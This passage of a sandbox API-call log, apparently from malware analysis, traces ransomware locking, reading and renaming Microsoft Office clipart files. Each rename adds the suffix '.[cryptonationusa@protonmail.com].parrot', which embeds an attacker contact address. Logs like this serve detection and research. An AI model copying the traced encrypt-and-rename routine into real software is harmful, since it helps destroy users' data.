dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8bf2, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.970] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.970] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.971] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.972] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8ada, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8ada, lpOverlapped=0x0) returned 1 [0131.974] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.974] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8bf2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.974] CloseHandle (hObject=0x27c) returned 1 [0131.974] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.988] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x63c9, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.988] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.988] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.989] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.989] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x62b1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x62b1, lpOverlapped=0x0) returned 1 [0131.992] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.993] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x63c9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.993] CloseHandle (hObject=0x27c) returned 1 [0131.993] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.996] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4eeb, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.996] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.996] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.998] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.998] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4dd3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4dd3, lpOverlapped=0x0) returned 1 [0131.998] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.999] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4eeb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.999] CloseHandle (hObject=0x27c) returned 1 [0131.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.004] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3919, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.004] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.004] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.006] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.006] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3801, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3801, lpOverlapped=0x0) returned 1 [0132.007] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.007] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3919, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.007] CloseHandle (hObject=0x27c) returned 1 [0132.007] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.089] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2baa, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.089] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.089] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.091] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.091] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a92, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a92, lpOverlapped=0x0) returned 1 [0132.092] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.092] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2baa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.092] CloseHandle (hObject=0x27c) returned 1 [0132.092] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.096] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15a3, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.096] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.096] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.097] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.097] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x148b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x148b, lpOverlapped=0x0) returned 1 [0132.099] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.099] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15a3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.099] CloseHandle (hObject=0x27c) returned 1 [0132.099] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.102] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x85cf, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.102] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.102] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.104] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.104] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x84b7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x84b7, lpOverlapped=0x0) returned 1 [0132.116] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.116] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x85cf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.116] CloseHandle (hObject=0x27c) returned 1 [0132.116] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.120] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x41b7, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.120] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.120] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.121] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.122] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x409f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x409f, lpOverlapped=0x0) returned 1 [0132.123] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.124] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x41b7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.124] CloseHandle (hObject=0x27c) returned 1 [0132.124] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.127] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc9e1, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.127] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.127] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.129] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.129] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc8c9, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc8c9, lpOverlapped=0x0) returned 1 [0132.131] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.132] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc9e1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.132] CloseHandle (hObject=0x27c) returned 1 [0132.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.135] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x147f, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.135] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.135] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.137] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.137] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1367, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1367, lpOverlapped=0x0) returned 1 [0132.137] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.138] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x147f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.138] CloseHandle (hObject=0x27c) returned 1 [0132.138] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.142] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1058, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.142] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.142] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.144] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.144] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf40, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf40, lpOverlapped=0x0) returned 1 [0132.144] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.145] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1058, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.145] CloseHandle (hObject=0x27c) returned 1 [0132.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.148] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x46d6, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.149] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.149] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.150] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.150] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x45be, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x45be, lpOverlapped=0x0) returned 1 [0132.152] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.152] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x46d6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.152] CloseHandle (hObject=0x27c) returned 1 [0132.152] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.156] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x46d6, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.156] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.156] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.157] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.157] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x45be, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x45be, lpOverlapped=0x0) returned 1 [0132.158] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.158] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x46d6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.159] CloseHandle (hObject=0x27c) returned 1 [0132.159] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.162] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13510, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.162] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.162] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.163] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.164] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x133f8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x133f8, lpOverlapped=0x0) returned 1 [0132.166] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.167] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13510, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.167] CloseHandle (hObject=0x27c) returned 1 [0132.168] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.170] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ed0, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.170] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.171] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, 